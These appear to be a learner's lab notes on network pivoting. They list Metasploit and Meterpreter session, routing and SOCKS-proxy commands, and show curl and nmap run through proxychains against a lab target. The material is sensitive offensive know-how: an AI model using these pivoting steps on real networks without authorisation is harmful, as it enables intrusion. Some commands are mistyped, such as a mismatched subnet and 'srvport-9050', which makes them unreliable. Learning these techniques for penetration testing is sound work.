09 Dec 2022
Pivoting Dock the hallsCommon way to tell if a compromised application is running in a docker container is checking if root dir has /.dockerenv.
Common console commands for viewing and manipulating sessions:
sessions - view sessionssessions -u -1 - upgrade last opened session to Meterpretersessions -i session_id - interact with a sessionbackground - background current interactive session and return to Metasploit promptMeterpreter is an advanced payload that provides interactive access to a compromised system. Commands include:
sysinfo - get info about remote system, i.e. OSupload local_file.txt - upload a file or directoryipconfig - display interfacesresolve remote_service1 remote_service2 - resolve set of host names on the target to IP addresses. useful for pivotingMetasploit Framework - msfconsole to start Metaploit.
search module_name_part - search for moduleuse module_name - load moduleinfo - after using module will show info about module including options, description, CVE details, etc.show options - show available optionsset rhost MACHINE_IP - set target host IPset verbose true - turn on loggingset lhost LISTEN_IP - set payload listening address; IP address of host running Metasploitcheck - check modulerun - run moduleCan also set options in run command, i.e. for postgres_sql module: run postgres://user:password@MACHINE_IP /datbase_name sql='select version()'
Metasploit has an internal routing table modified with route, determines where to send traffic, allows pivoting. Meterpreter has separate route command that isnât the same. Need to background current Meterpreter to adjust Metasploit route.
Syntax: route [add/remove] subnet netmask [comm/sid]
route add 172.17.0.1/32 -1 - send packets destined for 172.17.0.1 to the latest opened sessionroute add 172.10.48/29 -1 - send packets destined for 172.28.101.48/29 subnet to the latest opened sessionroute print - output routing tableintermediate server that supports relaying network traffic between two machines. Can run socks proxy locally on pentesterâs machine via Metasploit or directly on compromised server.
use auxiliary/server/socks_proxy
run srvhost=127.0.0.1 srvport-9050 version=4a
Tools like curl support sending requests through a socks proxy via the --proxy flag
curl --proxy socks4a://localhost:9050 http://MACHINE_IP
If tool doesnât natively support, ProxyChains canintercept request and route through proxy. i.e. with Nmap:
proxychains -q nmap -n -sT -Pn -p 22,80,443,5432 MACHINE_IP,
Get info to find potential vulns, and prove level of security.